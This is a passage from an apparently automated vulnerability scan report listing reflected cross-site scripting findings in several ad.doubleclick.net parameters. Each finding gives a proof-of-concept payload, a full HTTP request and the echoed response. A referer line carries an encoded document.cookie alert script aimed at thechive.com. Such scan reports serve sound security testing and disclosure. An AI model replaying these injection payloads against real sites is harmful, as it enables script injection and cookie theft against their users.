User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:26:59 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5940

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=1400935007252718956f009"-alert(1)-"a91a102c09b&mt_id=109456&mt_adid=100293&redirect=http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg =
...[SNIP]...

3.16. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b7ca'-alert(1)-'06a06d14574 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=1400935007252718955b7ca'-alert(1)-'06a06d14574&mt_id=109456&mt_adid=100293&redirect=;ord=140093500725271895? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:03 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5940

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=1400935007252718955b7ca'-alert(1)-'06a06d14574&mt_id=109456&mt_adid=100293&redirect=http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297\">
...[SNIP]...

3.17. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ada57'-alert(1)-'9f353877624 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76ada57'-alert(1)-'9f353877624&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
click%3Bh%3Dv8/3aa7/f/a6/%2a/t%3B233938245%3B0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76ada57'-alert(1)-'9f353877624&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR\">
...[SNIP]...

3.18. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94135"-alert(1)-"27645e01241 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=7694135"-alert(1)-"27645e01241&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
click%3Bh%3Dv8/3aa7/f/a6/%2a/t%3B233938245%3B0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=7694135"-alert(1)-"27645e01241&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR");
var fscUrl = url;
var fscUrlClickTagFound = fa
...[SNIP]...

3.19. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf570'-alert(1)-'8d2303ed4ad was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149bf570'-alert(1)-'8d2303ed4ad&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:34 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
eclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/t%3B233938245%3B0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149bf570'-alert(1)-'8d2303ed4ad&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR\">
...[SNIP]...

3.20. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e5f5"-alert(1)-"86f22d1910e was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=1031492e5f5"-alert(1)-"86f22d1910e&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:30 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
eclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/t%3B233938245%3B0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=1031492e5f5"-alert(1)-"86f22d1910e&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR");
var fscUrl = url;
var fscUrlClickTa
...[SNIP]...

3.21. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the mt_uuid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd383'-alert(1)-'ea723a23d73 was submitted in the mt_uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295bd383'-alert(1)-'ea723a23d73&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295bd383'-alert(1)-'ea723a23d73&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR\">
...[SNIP]...

3.22. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the mt_uuid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8cec"-alert(1)-"2cdbd4fd8f3 was submitted in the mt_uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295a8cec"-alert(1)-"2cdbd4fd8f3&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295a8cec"-alert(1)-"2cdbd4fd8f3&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
va
...[SNIP]...

3.23. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfcbc"-alert(1)-"87f30d13f was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=dfcbc"-alert(1)-"87f30d13f HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 6038
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:28:56 GMT
Expires: Mon, 07 Feb 2011 02:28:56 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=dfcbc"-alert(1)-"87f30d13fhttp%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallows
...[SNIP]...

3.24. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db6b7'-alert(1)-'41e11d4dca9 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=db6b7'-alert(1)-'41e11d4dca9 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 6046
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:29:00 GMT
Expires: Mon, 07 Feb 2011 02:29:00 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=db6b7'-alert(1)-'41e11d4dca9http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR\">
...[SNIP]...

3.25. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 851cf'-alert(1)-'7daf788badb was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=60685033116147109851cf'-alert(1)-'7daf788badb&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:25 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
tp://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/t%3B233938245%3B0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=60685033116147109851cf'-alert(1)-'7daf788badb&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR\">
...[SNIP]...

3.26. http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6010.133090.MEDIAMATH/B4632508.2

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 62064"-alert(1)-"db102385c04 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6010.133090.MEDIAMATH/B4632508.2;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=6068503311614710962064"-alert(1)-"db102385c04&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=60685033116147109? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045705115&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6046

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
